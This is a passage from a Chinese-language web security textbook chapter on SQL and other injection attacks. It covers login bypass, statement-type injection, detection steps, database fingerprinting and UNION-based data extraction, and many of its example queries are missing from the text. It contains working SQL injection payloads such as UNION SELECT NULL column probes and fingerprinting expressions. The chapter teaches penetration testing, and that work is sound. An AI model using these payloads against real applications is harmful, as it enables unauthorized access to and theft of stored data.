攻击数据存储区

几乎所有应用程序都依赖数据存储区来管理在应用程序中处理的数据。在许多情况下,这些数据负责处理核心应用程序逻辑、保存用户账户、权限、应用程序配置设置等。现在,数据存储区已不再只是被动的数据容器。大多数数据存储区都保存有结构化、可以使用预先定义的查询格式或语言访问的数据,并包含内部逻辑来管理这些数据。

通常,应用程序使用常用的权限级别来管理对数据存储区的各种访问操作,以及处理属于不同应用程序用户的数据。如果攻击者能够破坏应用程序与数据存储区的交互,使应用程序检索或修改各种数据,那么,攻击者就可以避开在应用层次对数据访问实施的任何控制。

上述原则适用于任何类型的数据存储技术。因为本书是一本实用手册,我们将主要讨论利用现实世界的应用程序中存在的漏洞时所需的知识和技巧。迄今为止最常用的数据存储区是SQL数据库、基于XML的资料库、LDAP目录,以及一些常见的示例。

在讨论这些主要示例时,我们将介绍你在确定并利用这些缺陷时可以采取的实用步骤。每一种新型注入攻击都需要结合概念加以理解。掌握利用这些缺陷的基础知识后,如果再遇到一种新型注入攻击,你就能够自信地应用这些知识,设计出其他攻击方法,向其他人已经研究过的漏洞发动攻击。

注入解释型语言

解释型语言(interpreted language)是一种在运行时由一个运行时组件(runtime component)解释语言代码并执行其中包含的指令的语言。与之相对,编译型语言(compiled language)是这样一种语言:它的代码在生成时转换成机器指令,然后在运行时直接由使用该语言的计算机处理器执行这些指令。

从理论上说,任何语言都可使用编译器或解释器来执行,这种区别并不是语言本身的内在特性。但是,通常大多数语言仅通过上述其中一种方式执行,开发Web应用程序使用的许多核心语言使用解释器执行,包括SQL、LDAP、Perl和PHP。

基于解释型语言的执行方式,产生了一系列叫做代码注入(code injection)的漏洞。任何有实际用途的应用程序都会收到用户提交的数据,对其进行处理并执行相应的操作。因此,由解释器处理的数据实际上是由程序员编写的代码和用户提交的数据共同组成的。有些时候,攻击者可以提交专门设计的输入,通常提交某个在应用程序中使用解释型语言语法的具有特殊意义的句法,向应用程序实施攻击。结果,这个输入的一部分被解释成程序指令执行,好像它们是由最初的程序员编写的代码一样。因此,如果这种攻击取得成功,它将完全攻破目标应用程序的组件。

另一方面,在编译型语言中实施旨在执行任意命令的攻击往往非常困难。这时,注入代码的方法通常并不利用开发目标程序所使用语言的任何语法特性,注入的有效载荷为机器代码,而不是用那种语言编写的指令。请参阅第16章了解各种针对编译软件的常见攻击。

避开登录

无论访问操作是由普通用户还是应用程序管理员触发,应用程序访问数据存储区的过程都大致相同。Web应用程序对数据存储区实施自主访问控制,构造查询基于用户的账户和类型来检索、添加或修改数据存储区中的数据。修改查询(不只是查询中的数据)的成功注入攻击可以避开应用程序的自主访问控制并获取未授权访问。

如果需要安全保护的应用程序逻辑由查询结果控制,攻击者就可以通过修改查询来更改应用程序的逻辑。举一个典型的例子——在后端数据存储区的用户表中查询与用户提供的证书匹配的记录。许多实施基于表单的登录功能的应用程序使用数据库来存储用户证书,并执行简单的SQL查询来确认每次登录尝试。以下是一个典型的示例:

这个查询要求数据库检查用户表中的每一行,提取出每条username列值为marcus、password列值为secret的记录。如果应用程序收到一名用户的资料,登录尝试将取得成功,应用程序将为该用户建立一个通过验证的会话。

在这种情况下,攻击者可注入用户名或密码字段,以修改应用程序执行的查询,从而破坏它的逻辑。例如,如果攻击者知道应用程序管理员的用户名为admin,那么他就可以通过提交以下用户名和任意密码,以管理员身份登录:

应用程序将执行以下查询:

因为其中使用了注释符号(--),上面的查询等同于:

于是这个查询完全避开了密码检查。

尝试访问

http://mdsec.net/auth/319/

假如攻击者不知道管理员的用户名,该如何实施攻击呢?在大多数应用程序中,数据库的第一个账户为管理用户,因为这个账户通常手工创建,然后再通过它生成其他应用程序账户。而且,如果查询返回几名用户的资料,许多应用程序只会处理第一名用户。因此,攻击者可利用这种行为,通过提交以下用户名,以数据库中的第一个用户的身份登录:

应用程序将执行以下查询:

因为其中使用了注释符号,上面的查询等同于:

该查询将返回全部应用程序用户的资料。

 注解 注入解释型语言来更改应用程序逻辑是一种常用的攻击技巧。LDAP查询、XPath查询、消息序列实施或任何定制的查询语言中都可能出现对应的漏洞。

渗透测试步骤

解释型语言注入是一个非常宽泛的主题,涵盖许多不同种类的漏洞,并可能影响Web应用程序支持基础架构中的每一个组件。检测并利用代码注入缺陷的详细步骤取决于攻击所针对的是何种语言,以及应用程序开发者使用了什么编程技巧。但也有一些适用于各种情形的常规方法,如下所示。

(1)提交可能在解释型语言中引发问题的无效语法。

(2)确定应用程序响应中可能表示存在代码注入漏洞的任何反常现象。

(3)如果收到任何错误消息,分析这些消息,获得与服务器上发生的问题有关的证据。

(4)如有必要,系统性地修改初始输入,尝试确定或否定最初假设的漏洞诊断。

(5)构造一个概念验证测试(proof-of-concept test),使安全命令以可证实的方式执行,得出结论以证明应用程序中存在一个可被利用的代码注入漏洞。

(6)利用目标语言和组件的功能实现攻击目标,对漏洞加以利用。

注入SQL

几乎每一个Web应用程序都使用数据库来保存操作所需的各种信息。例如,网上零售商所用的Web应用程序使用数据库保存以下信息:

用户账户、证书和个人信息;

所销售商品的介绍与价格;

订单、账单和支付细节;

每名应用程序用户的权限。

数据库中的信息通过SQL(Structured Query Language,结构化查询语言)访问。SQL可用于读取、更新、增加或删除数据库中保存的信息。

SQL是一种解释型语言,Web应用程序经常建立合并用户提交的数据的SQL语句。因此,如果建立语句的方法不安全,那么应用程序可能易于受到SQL注入攻击。这种缺陷是困扰Web应用程序的最臭名昭著的漏洞之一。在最严重的情形中,匿名攻击者可利用SQL注入读取并修改数据库中保存的所有数据,甚至完全控制运行数据库的服务器。

随着Web应用程序安全意识的日渐增强,SQL注入漏洞越来越少,同时也变得更加难以检测与利用。许多主流应用程序采用API来避免SQL注入,如果使用得当,这些API能够有效阻止SQL注入攻击。在这些情况下,通常只有在无法应用这些防御机制时,SQL注入才会发生。有时,查找SQL注入漏洞是一项艰难的任务,需要测试员坚持不懈地在应用程序中探查一两个无法应用常规控制的实例。

随着这种趋势的变化,查找并利用SQL注入漏洞的方法也在不断改进,通常使用更加微妙的漏洞指标以及更加完善与强大的利用技巧。我们首先分析最基本的情况,然后进一步描述最新的盲目检测与利用技巧。

有大量广泛的数据库可为Web应用程序提供支持。虽然对绝大多数数据库而言,SQL注入的基本原理大体相似,但它们之间也存在着许多差异,包括语法上的细微变化以及可能影响攻击者所使用的攻击类型的巨大行为与功能差异。受篇幅和个人经验所限,在下面的示例中,我们仅讨论3种最常用的数据库,即Oracle、MS-SQL和MySQL。在适当的情况下,我们将主要讨论这3种平台之间的区别。掌握这些技术后,就可以通过其他一些研究,迅速确定并利用任何其他数据库中的SQL注入漏洞。

 提示 许多时候,访问和目标应用程序所使用数据库相同的、在本地安装的数据库会有极大帮助。通常,只需修改一个语法或者参考一个内置表或功能就可实现自己的目的。从目标应用程序收到的响应一般并不完整或者含义模糊,需要猜测才能理解。如果能交叉参考相同数据库的一个完全“透明”运行的版本,理解起来就容易得多。

如果这种方法不可行,最好找一个可以进行测试的适当交互式在线环境,如SQLzoo.net中的交互式在线教程。

利用一个基本的漏洞

下面以一个书籍零售商使用的Web应用程序为例,该应用程序允许用户根据作者、书名、出版商等信息搜索产品。完整的书籍目录保存在数据库中,应用程序使用SQL查询、根据用户提交的搜索项获取各种书籍的信息。

当一名用户搜索由Wiley出版的所有书籍时,应用程序执行以下查询:

该查询要求数据库检查书籍表的第一行,提取每条publisher列为Wiley值的记录,并返回所有这些记录。然后应用程序处理这组记录,并通过一个HTML页面将结果显示给用户。

在这个查询中,等号左边的词由SQL关键字、表和数据库列名称构成。这个部分的全部内容由程序员在创建应用程序时建立。当然,表达式Wiley由用户提交,它是一个数据项。SQL查询中的字符串数据必须包含在单引号内,与查询的其他内容分隔开来。

现在思考一下,如果用户搜索所有由O'Reilly出版的书籍,会出现什么情况。应用程序将执行以下查询:

在这个示例中,查询解释器以和前面一个示例相同的方式到达字符串数据位置。它解析这个包含在单引号中的数据,得到值O。然后遇到表达式Reilly',这并不是有效的SQL语法,因此应用程序生成一条错误消息:

如果应用程序以这种方式运行,那么它非常容易遭到SQL注入。攻击者可提交包含引号的输入终止他控制的字符串,然后编写任意的SQL修改开发者想要应用程序执行的查询。例如,在这个示例中,攻击者可以对查询进行修改,通过输入以下搜索项,返回零售商目录中的每一本书籍。

应用程序将执行以下查询:

这个查询对开发者查询中的WHERE子句进行修改,增加了另外一个条件。数据库将检查书籍表的每一行,提取publisher列值为Wiley或其中1等于1的每条记录。因为1总是等于1,所以数据库将返回书籍表中的所有记录。

攻击者的输入中的双连字符在SQL中是一个有意义的表达式,它告诉查询解释器该行的其他部分属于注释,应被忽略。在一些SQL注入攻击中,这种技巧极其重要,因为它允许忽略由应用程序开发者建立的查询的剩余部分。在上面的示例中,应用程序将用户提交的字符串包含在单引号中。因为攻击者已经终止他控制的字符串并注入其他一些SQL,他需要处理字符串末尾部分的引号,避免出现和O'Reilly示例中相同的语法错误。攻击者通过添加一个双连字符达到这一目的,将查询的剩余部分以注释处理。在MySQL中,需要在双连字符后加入一个空格,或者使用“#”符号指定注释。

原始查询还将访问仅限于已出版的书籍,因为它指定and published=1。通过注入注释序列,攻击者获得未授权访问权限,可以返回所有书籍(包括已出版及其他书籍)的详细信息。

 提示 有些时候,可以不使用注释符号处理字符串末尾部分的引号,而用一个需要引号包含的字符串数据结束注入的输入,以此“平衡引号”。例如,输入以下搜索项:

将生成以下查询:

这个查询完全有效,可得到和1=1攻击相同的结果。

很明显,前面的示例不会造成严重的安全威胁,因为用户使用完全合法的方法就可以访问全部书籍信息。但是,稍后我们将描述如何利用这种SQL注入漏洞从各种数据库表中提取任何数据,并提升在数据库和数据库服务器中的权限。为此,不管出现在哪个应用程序功能中,任何SQL注入漏洞都应被视为极其严重的威胁。

注入不同的语句类型

SQL语言中包含许多可能出现在语句开头的动词。由于SELECT是最常用的动词,因此绝大多数的SQL注入漏洞出现在这种语句中。的确,当讨论SQL注入时,因为所举的示例全部属于这种类型,所以我们常常会产生这样的印象,即SQL注入漏洞只出现在SELECT语句中。然而,任何类型的语句都可能存在SQL缺陷,必须了解一些与其有关的重要问题。

当然,当与一个远程应用程序交互时,通常情况下不可能提前知道用户输入的一个特殊数据项将由哪种类型的语句处理。但是,可以根据使用的应用程序功能进行合理的猜测。下面说明最常用的SQL语句及其用法。

SELECT语句

SELECT语句被用于从数据库中获取信息。它们常用于应用程序响应用户操作而返回信息的功能中,如浏览一个产品目录、查看一名用户的资料或者进行一项搜索。根据数据库中的数据核对用户提交的信息的登录功能也经常使用这种语句。

如在前面的示例中说明的,SQL注入攻击的进入点(entry point)通常是查询中的WHERE子句,它将用户提交的数据传送给数据库,以控制查询结果的范围。因为WHERE子句一般在SELECT语句的最后,攻击者就可以使用注释符号将查询截短到其输入的结束位置,而不会使整个查询的语法失效。

SQL注入漏洞偶尔也会影响SELECT查询的其他部分,如ORDER BY子句或表和列名称。

尝试访问

http://mdsec.net/addressbook/32/

INSERT语句

INSERT语句用于在表中建立一个新的数据行。应用程序通常使用这种语句添加一条新的审计日志、创建一个新用户账户或生成一个新订单。

例如,如果一个应用程序允许用户自我注册,指定他们自己的用户名和密码,就可以使用下面的语句将用户资料插入users表中。

如果username或password字段存在SQL注入漏洞,那么攻击者就可以在表中插入任何数据,包括他自己的ID和privs值。然而,要想这样做,攻击者就必须确保VALUES子句的其他部分正常运行。特别是其中数据项的个数与类型必须正确。例如,当注入username字段时,攻击者可以提交以下输入:

它将建立一个ID为9999,privs为0的账户。假如privs字段用来决定账户权限,那么攻击者就可以利用它创建一个管理用户。

有时,攻击者完全盲目地注入一个INSERT语句也能够从应用程序中提取出字符串数据。例如,攻击者可以拦截数据库的版本字符串,并把它插入自己用户资料的一个字段中;正常情况下,浏览器将显示数据库的版本信息。

 提示 当设法注入一个INSERT语句时,可能无法提前知道需要提交多少个参数或参数的类型。在前面的示例中,可以通过在VALUES子句中持续增加一个新的字段,直到应用程序创建了确实想要的用户账户,从而解决上述问题。例如,当注入username字段时,可以提交以下输入:

由于大多数数据库都会隐式地将一个整数转换为一个字符串,可以在每个位置都使用一个整数。在这个示例中,不管其他字段如何,它将生成一个用户名为foo、密码为1的账户。

如果发现使用值1仍然遭到拒绝,可以尝试使用值2000,许多数据库也会隐式地将它转换成基于数据的数据类型。

确定注入点之后的正确字段数后,在MS-SQL中,测试员可以任意添加另外一个查询,并采用本章后面部分将介绍的基于推断的技巧。

在Oracle中,则可以在insert查询内发布subselect查询。使用本章后面部分将介绍的基于推断的技巧,该subselect查询可能导致主查询成功或失败。

尝试访问

http://mdsec.net/addressbook/12/

UPDATE语句

UPDATE语句用于修改表中的一行或几行数据。它们经常用在用户修改已有数据值的功能中,例如,更新联系信息、修改密码或更改订单数量。

典型UPDATE语句的运行机制与INSERT语句类似,只是UPDATE语句中通常包含一个WHERE子句,告诉数据库更新表中哪些行的数据。例如,当用户修改密码时,应用程序可能会执行以下查询:

实际上,这个查询首先核实用户的现有密码是否正确,如果密码无误,就用新的值更新它。如果这项功能存在SQL注入漏洞,那么攻击者就能避开现有密码检查,通过输入以下用户名更新管理员的密码:

 注解 由于无法提前知道应用程序将根据专门设计的输入执行什么操作,因此,在一个远程应用程序中探查SQL注入漏洞往往非常危险。特别注意,修改UPDATE语句中的WHERE子句可能会使一个重要的数据库表发生彻底的改变。例如,如果上面的攻击者之前已经提交了以下用户名:

那么应用程序可能会执行以下查询:

它会重新设置每一名用户的密码!

即使所攻击的应用程序功能(如主登录功能)并不会更新任何现有数据,渗透测试员也应当留意这种风险。有时候,在用户成功登录后,应用程序会使用用户提交的用户名执行各种UPDATE查询,这意味着任何针对WHERE子句的攻击可能会“复制”到其他语句中,给所有应用程序用户的资料造成严重破坏。在尝试探查或利用任何SQL注入漏洞之前,必须确保应用程序所有者接受这些无法避免的风险;同时,应该强烈建议他们在开始测试前对数据库进行完整备份。

尝试访问

http://mdsec.net/addressbook/27/

DELETE语句

DELETE语句用于删除表中的一行或几行数据,例如用户从他们的购物篮中删除一件商品或从个人资料中删除一个交货地址。

与UPDATE语句一样,DELETE语句通常使用WHERE子句告诉数据库更新表中哪些行的数据,并很可能在这个子句中并入用户提交的数据。破坏正常运行的WHERE子句可能会造成严重的后果,我们在UPDATE 语句部分提出的警告同样适用于这种攻击。

查明SQL注入漏洞

在最明显的情形中,只需向应用程序提交一个意外输入,就可以发现并最终确定一个SQL注入漏洞。在其他情况下,这种缺陷可能非常微妙,很难与其他类型的漏洞或不会造成安全威胁的“良性”异常区分开来。但是,可以按顺序采取各种步骤准确查明绝大多数的SQL注入漏洞。

 注解 在应用程序解析过程中(请参阅第4章),应该已经确定了应用程序访问后端数据库的各种情形;现在,应当在所有这些情形中探查SQL注入漏洞。实际上,提交给服务器的任何数据都能够以用户无法察觉的方式传送给数据库函数,并且可能得到不安全的处理。因此,需要检查所有这些数据,以查找SQL注入漏洞。这包括所有URL参数、cookie、POST数据项以及HTTP消息头。无论哪一种情况,相关参数名称与参数值的处理过程都可能存在漏洞。

 提示 在探查SQL注入漏洞时,一定要确保完全遍历任何可以提交专门设计的输入的多阶段过程。应用程序通常会从几个请求中收集一组数据,一旦收集到全部的数据,就将其保存在数据库中。这时,如果仅在每个请求中提交专门设计的数据并监控应用程序对那个请求的响应,就会遗漏许多SQL注入漏洞。

注入字符串数据

如果SQL查询合并用户提交的数据,它会将这些数据包含在单引号中。为利用任何SQL注入漏洞,攻击者需要摆脱这些引号的束缚。

渗透测试步骤

(1)提交一个单引号作为目标查询的数据。观察是否会造成错误,或结果是否与原始结果不同。如果收到详细的错误消息,可查阅9.2.13节了解该消息的含义。

(2)如果发现错误或其他异常行为,同时提交两个单引号,看会出现什么情况。数据库使用两个单引号作为转义序列,表示一个原义单引号(literal single quote),因此这个序列被解释成引用字符串中的数据,而不是结束字符串的终止符。如果这个输入导致错误或异常行为消失,则应用程序可能易于受SQL注入攻击。

(3)为进一步核实漏洞是否存在,可以使用SQL连接符建立一个等同于“良性”输入的字符串。如果应用程序以与处理对应“良性”输入相同的方式处理专门设计的输入,那么它很可能易于受到攻击。每种数据库使用的字符连接方法各不相同。在易受攻击的应用程序中,可以注入以下实例构建等同于FOO的输入:

Oracle ‘||’FOO

MS-SQL:‘+’FOO

MySQL:‘ ’FOO [注意两个引号之间有一个空格]

 提示 可以通过在特定的参数中提交SQL通配符%来确定应用程序是否正与后端数据库交互。例如,在搜索字段中提交这个通配符通常会返回大量结果,表明输入正被传送到SQL查询中。当然,这不一定表示应用程序易受攻击——只是应该深入探查以确定是否存在任何具体的漏洞。

 提示 使用单引号查找SQL注入漏洞时,应特别注意浏览器处理返回的页面时发生的任何JavaScript错误。应用程序经常在JavaScript中返回用户提交的输入,原义单引号将导致JavaScript解释器中出现错误。如第12章所述,在响应中注入任意JavaScript将导致跨站点脚本攻击。

注入数字数据

如果SQL查询合并用户提交的数字数据,应用程序仍然会将它包含在单引号之中,作为字符串数据进行处理。因此,一定要执行前面描述的针对字符串数据的渗透测试步骤。但是,许多时候,应用程序会将数字数据以数字格式直接传送到数据库中,并不把它放入单引号中。如果前面描述的测试方法无法检测到漏洞,还可以采取以下针对数字数据的特殊测试步骤。

渗透测试步骤

(1)尝试输入一个结果等于原始数字值的简单数学表达式。例如,如果原始值为2,尝试提交1+1或3–1。如果应用程序做出相同的响应,则表示它易于受到攻击。

(2)如果证实被修改的数据会对应用程序的行为造成明显影响,则前面描述的测试方法最为可靠。例如,如果应用程序使用数字化PageID参数指定应返回什么内容,则用1+1代替2得到相同的结果明显表示存在SQL注入。但是,如果能够在数字化参数中插入任意输入,但应用程序的行为却没有发生改变,那么前面的检测方法就无法发现漏洞。

(3)如果第一个测试方法取得成功,你可以利用更加复杂的、使用特殊SQL关键字和语法的表达式进一步获得与漏洞有关的证据。ASCII命令就是一个典型的示例,它返回被提交字符的数字化ASCII代码。例如,因为A的ASCII值为65,在SQL中,以下表达式等于2。

(4)如果单引号被过滤掉,那么前面的测试方法就没有作用。但是,这时可以利用这样一个事实:即在必要时,数据库会隐含地将数字数据转化为字符串数据。例如,因为字符1的 ASCII值为49,在SQL中,以下表达式等于2。

 提示 在探查应用程序是否存在SQL注入之类的缺陷时,我们常常会犯一个错误,即忘记某些字符在HTTP请求中具有特殊含义。如果你希望在攻击有效载荷中插入这些字符,必须谨慎地对它们进行URL编码,确保应用程序按预料的方式解释它们,特别是以下字符。

&和=用于连接名/值对,建立查询字符串和POST数据块。应当分别使用%26与%3d对它们进行编码。

查询字符串中不允许使用空格,如果在其中提交空格,整个字符串会立即终止。必须使用+或%20对其编码。

由于+用于编码空格,如果想在字符串中使用+,必须使用%2b对其编码。因此,在前面的数字化示例中,1+1应以1%2b1的形式提交。

分号用于分隔cookie字段,必须使用%3b对其编码。

无论是通过拦截代理服务器直接从浏览器中编辑参数值,或是使用其他方法进行编辑,都必须使用这些编码方法。如果没有对相关字符进行编码,那么整个请求可能会无效,或提交预期之外的数据。

一般来说,前面描述的步骤足以确定绝大多数的SQL注入漏洞,包括许多向浏览器返回无用结果或错误信息的漏洞。但是,在某些情况下,可能有必要使用更加高级的技巧,如时间延迟,来确定漏洞是否存在。我们将在本章后面部分描述这些技巧。

注入查询结构

如果用户提交的数据被插入SQL查询结构,而不是查询中的数据项中,这时实施SQL注入攻击只需要直接应用有效的SQL语法,而不需要进行任何“转义”。

SQL查询结构中最常见的注入点是ORDER BY子句。ORDER BY关键字接受某个列名称或编号,并根据该列中的值对结果集进行排序。用户经常使用这种功能对浏览器中的表进行排序。

例如,使用以下查询可以检索一个可排序的图书表:

如果ORDER BY中的列名称title由用户指定,就没有必要使用单引号,因为用户提交的数据已经直接修改了SQL查询的结构。

 提示 在极少数情况下,用户提交的输入可能会指定WHERE子句中的列名称。由于这些输入也没有包含在单引号中,因此会导致与前面介绍的漏洞类似的问题。笔者也曾遇到一些以用户提交的参数作为表名称的应用程序。最终,有大量应用程序允许用户指定排序关键字(ASC或DESC),可能认为这并不会导致SQL注入攻击。

在列名称中查找SQL注入漏洞可能会相当困难。如果提交一个并非有效列名称的值,查询将导致错误。这意味着,无论攻击者提交路径遍历字符串、单引号、双引号或任何其他任意字符串,应用程序都会返回相同的响应。因此,采用常用的自动模糊测试和手动测试技巧往往会遗漏某些漏洞。如果提交用于探查各种漏洞的标准测试字符串全部导致相同的响应,这本身并不表示出现任何错误。

 注解 本章后面部分介绍的一些传统的SQL注入防御措施并不能防范用户提交的列名称。使用预处理的语句或转义单引号也不能阻止这类SQL注入。因此,现代应用程序应尤其小心这类攻击。

渗透测试步骤

(1)记下任何可能控制应用程序返回的结果的顺序或其中的字段类型的参数。

(2)提供一系列在参数值中提交数字值的请求,从数字1开始,然后逐个请求递增。

如果更改输入中的数字会影响结果的顺序,则说明输入可能被插入到ORDER BY子句中。在SQL中,ORDER BY 1将依据第一个列进行排序。然后,将这个数字增加到2将更改数据的显示顺序,以依据第二个列进行排序。如果提交的数字大于结果集中的列数,查询将会失败。在这种情况下,你可以通过使用以下字符串,检查是否可以颠倒结果的顺序,从而确认是否可以注入其他SQL:

如果提交数字1生成一组结果,其中一个列的每一行都包含一个1,则说明输入可能被插入到查询返回的列的名称中。例如:

 注解 在ORDER BY子句中实施SQL注入与其他注入情形有很大区别。此时,数据库不会接受查询中的UNION、WHERE、OR或AND关键字。通常,实施注入攻击需要攻击者指定一个嵌套查询来替代参数,如用(select 1 where <<condition>> or 1/0=0)替代列名称,并利用本章后面部分介绍的推断技巧。对于支持批量查询的数据库(如MS-SQL),这可能是最有效的注入攻击方法。

指纹识别数据库

迄今为止,我们所描述的大多数技巧能够向常用的数据库平台发动有效攻击,任何差别都已通过对语法进行细微调整得到解决。但是,随着我们开始分析更高级的利用技巧,各种平台之间的差异变得更加明显,因此了解所针对的是何种类型的后端数据库就变得愈发重要。

我们已经知道如何提取常见数据库的版本字符串。即使由于某种原因无法提取到版本信息,我们还是可以使用其他方法识别数据库。一种最可靠的方法是根据数据库连接字符串的不同方式进行识别。在控制某个字符串数据项的查询中,可以在一个请求中提交一个特殊的值,然后测试各种连接方法,以生成那个字符串。如果得到相同的结果,就可以确定所使用的数据库类型。下面的示例说明常用的数据库如何构建services字符串。

Oracle:‘serv’||‘ices’

MS-SQL:‘serv’+‘ices’

MySQL:‘serv’ ‘ices’ [注意中间有空格]

如果注入数字数据,则可以使用下面的攻击字符串来识别数据库。每个数据项在目标数据库中的求值结果为0,在其他数据库中则会导致错误。

Oracle:BITAND(1,1)-BITAND(1,1)

MS-SQL:PACK_RECEIVED-PACK_RECEIVED

MySQL:CONNECTION_ID()-CONNECTION_ID()

 注解 MS-SQL和Sybase数据库起源相同,因此它们在表结构、全局变量和存储过程方面存在许多相似之处。实际上,后文描述的绝大多数针对MS-SQL的攻击技巧同样也适用于Sybase。

在识别数据库时,MySQL如何处理某些行内注释(inline comment)也是一个值得关注的问题。如果一个注释以感叹号开头,接着是数据库版本字符串,那么只要数据库的实际版本等于或高于那个字符串,应用程序就会将注释内容解释为SQL;否则,应用程序就会忽略注释内容,将它作为注释处理。与C中的预处理指令类似,程序员也可以对这一点加以利用,编写出根据所使用的数据库版本进行处理的不同代码。攻击者还可以利用它来识别数据库的实际版本。例如,如果使用的MySQL版本高于或等于3.23.02,注入下面的字符串将使SELECT语句的WHERE子句为假:

UNION操作符

SQL使用UNION操作符将两个或几个SELECT语句的结果组合到独立一个结果中。如果一个Web应用程序的SELECT语句存在SQL注入漏洞,通常可以使用UNION操作符执行另一次完全独立的查询,并将它的结果与第一次查询的结果组合在一起。如果应用程序向浏览器返回查询结果,那么就可以使用这种技巧从应用程序中提取任意的数据。所有的主流DBMS产品者支持UNION,对于直接返回查询结果的情况,UNION是检索信息最快捷的方式。

我们再回到那个允许用户根据作者、书名、出版商和其他条件搜索书籍的应用程序。搜索由Wiley 出版的书籍将引起应用程序执行以下查询:

假设这个查询返回下面这组结果:

作 者 书 名 出版年份

Litchfield The Database Hacker's Handbook 2005

Anley The Shellcoder's Handbook 2007

前文已经介绍了攻击者是如何向搜索功能提交专门设计的输入、破坏查询中的WHERE子句、返回数据库中保存的所有书籍的。一个更有趣的攻击是使用UNION操作符注入另外一个SELECT查询,并将查询结果附加在第一次查询的结果之后。第二次查询能够从另一个完全不同的数据库表中提取数据。例如,输入以下搜索项:

应用程序将执行以下查询:

这个查询返回最初的搜索结果,接着是用户表的内容:

作 者 书 名 出版年份

Litchfield The Database Hacker's Handbook 2005

Anley The Shellcoder's Handbook 2007

admin r00tr0x 0

cliff Reboot 1

 注解 如果使用UNION操作符组合两个或几个SELECT查询的结果,那么组合结果的列名称与第一个SELECT查询的列名称完全相同。如前面的表格所示,用户名出现在author列中,密码出现在title列中。这表示应用程序在处理被修改的查询结果时,它无法检测出返回的数据实际上来自一个完全不同的表。

这个简单的示例说明,UNION操作符可在SQL注入攻击中发挥非常巨大的作用。但是,在利用它发动攻击之前,攻击者有必要了解它的两个重要限制。

如果使用UNION操作符组合两个查询的结果,这两个结果必须结构相同。也就是说,它们的列数必须相同,必须使用按相同顺序出现的相同或兼容的数据类型。

为注入另一个返回有用结果的查询,攻击者必须知道他所针对的数据库表的名称以及有关列的名称。

现在让我们更加深入地分析前一个限制。假设攻击者试图注入另一个返回错误列数的查询。他提交以下输入:

最初的查询返回3列,而注入的查询返回2列。因此,数据库返回以下错误:

假设攻击者试图注入另一个列内数据类型不兼容的查询。他提交以下输入:

这样,数据库将尝试把第二个查询的密码列(其中为字符串数据)与第一个查询的年代列(其中为数字数据)组合起来。因为字符串数据无法转换为数字数据,这个语句造成一个错误:

 注解 上面是Oracle返回的错误消息。其他数据库返回的相应错误消息请参阅9.2.13节。

在许多现实例子中,数据库返回的错误消息将被应用程序截获,并不显示在用户的浏览器上。因此,如果想要查明第一个查询的结构,也许只能纯粹靠猜测。但是,事实并非如此。可以利用以下三点帮助简化这项任务。

为使注入的查询能够与第一个查询结合,它不一定要使用完全相同的数据类型。但是,它们必须相互兼容,也就是说,第二个查询中的每种数据类型要么必须与第一个查询中的对应类型完全相同,要么必须隐含地转换到那个类型。数据库会将一个数字值隐含地转换为一个字符串值。实际上,NULL值可被转换成任何数据类型。因此,如果不知道某个特殊字段的数据类型,只需在那个字段输入SELECT NULL即可。

如果数据库返回的错误消息被应用程序截获,还是可以轻易确定注入的查询是否得以执行。因此,如果查询已经执行,那么应用程序第一个查询返回的结果后面会增加其他结果。可以据此进行系统的推测,直到查明需要注入的查询结构。

许多时候,只需在第一个查询中确定一个使用字符串数据类型的字段就可以达到自己的目的。这足以允许注入任意返回字符串数据的查询并获得其结果,帮助系统性地从数据库中提取任何想要的数据。

渗透测试步骤

攻击的首要任务是查明应用程序执行的最初查询所返回的列数。有两种方法可以完成这项任务。

(1)可以利用NULL被转换为任何数据类型这一事实,系统性地注入包含不同列数的查询,直到注入的查询得到执行,例如:

‘ UNION SELECT NULL--

‘ UNION SELECT NULL, NULL--

‘ UNION SELECT NULL, NULL, NULL--

查询得到执行就说明使用了正确的列数。如果应用程序不返回数据库错误消息,仍然可以了解注入的查询是否成功执行,因为会收到另外一行数据,其中包含NULL或一个空字符串。注意,注入行可能只包含空单元格,因此不容易得知何时以HTML提交。出于这个原因,进行攻击的最好是查看行响应。

(2)确定所需的列数后,下一项任务就是找到一个使用字符串数据类型的列,以便通过它从数据库中提取出任意数据。和前面一样,可以通过注入一个包含NULL值的查询,并系统性地用a代替每个NULL,从而完成这项任务。例如,如果知道查询必须返回3列,可以注入以下查询:

‘ UNION SELECT ‘a’, NULL, NULL--

‘ UNION SELECT NULL, ‘a’, NULL--

‘ UNION SELECT NULL, NULL, ‘a’--

如果注入的查询得到执行,将看到另一行包含a值的数据,然后就可以使用相关列从数据库中提取数据。

 注解 在Oracle数据库中,每个SELECT语句必须包含一个FROM属性,因此,无论列数是否正确,注入UNION SELECT NULL将产生一个错误。可以选择使用全局可访问表(globally accessible table)DUAL来满足这一要求。例如:

‘ UNION SELECT NULL FROM DUAL--

如果已经确定注入的查询所需的列数,并且已经找到一个使用字符串数据类型的列,就能够提取出任意数据。一个简单的概念验证测试是提取数据库的版本字符串,可以对任何数据库管理系统(DBMS)进行测试。例如,如果查询一共有3列,第一列可以提取字符串数据,可以在MS-SQL和MySQL中注入以下查询提取数据库版本:

对Oracle注入以下查询将得到相同的结果:

在前面介绍的易受攻击的图书搜索应用程序中,可以使用这个字符串作为搜索项来获得Oracle 数据库的版本:

作 者 书 名 出版年份

CORE 9.2.0.1.0 Production

NLSRTL Version 9.2.0.1.0 - Production

Oracle9i Enterprise Edition Release 9.2.0.1.0 - Production

PL/SQL Release 9.2.0.1.0 - Production

TNS for 32-bit Windows: Version 9.2.0.1.0 - Production

当然,虽然数据库版本字符串值得我们注意,并且可帮助搜索特殊软件中的漏洞,但是,在多数情况下,我们仍然对从数据库中提取数据更感兴趣。要做到这一点,渗透测试员需要解除前面描述的第二个限制;也就是说,需要知道想要攻击的数据库表的名称以及相关列的名称。

提取有用的数据

为了从数据库中提取有用的数据,通常需要了解表以及包含预访问的数据所属列的名称。大型企业DBMS中包含大量数据库元数据,可以查询这些数据查明数据库中每一个表和列的名称。在各种情况下,提取有用数据所使用的方法完全相同;但是,在不同数据库平台上的应用细节各不相同。

使用UNION提取数据

下面我们将分析一个攻击,虽然该攻击针对的是MS-SQL数据库,但它采用的攻击方法适用于所有数据库技术。以用户维护联系人列表及查询和更新联系人信息的通讯录应用程序为例。如果用户在通讯录中搜索名为Matthew的联系人,浏览器将提交以下参数:

应用程序将返回以下结果:

人 名 电子邮件地址

Matthew Adamson handytrick@gmail.com

尝试访问

http://mdsec.net/addressbook/32/

首先,我们需要确定请求的列数。对单一列进行测试导致了以下错误消息:

我们添加另一个NULL,并得到同样的错误。于是我们继续添加NULL,直到查询被执行,并在结果表中生成另一个数据项,如下所示:

人 名 电子邮件地址

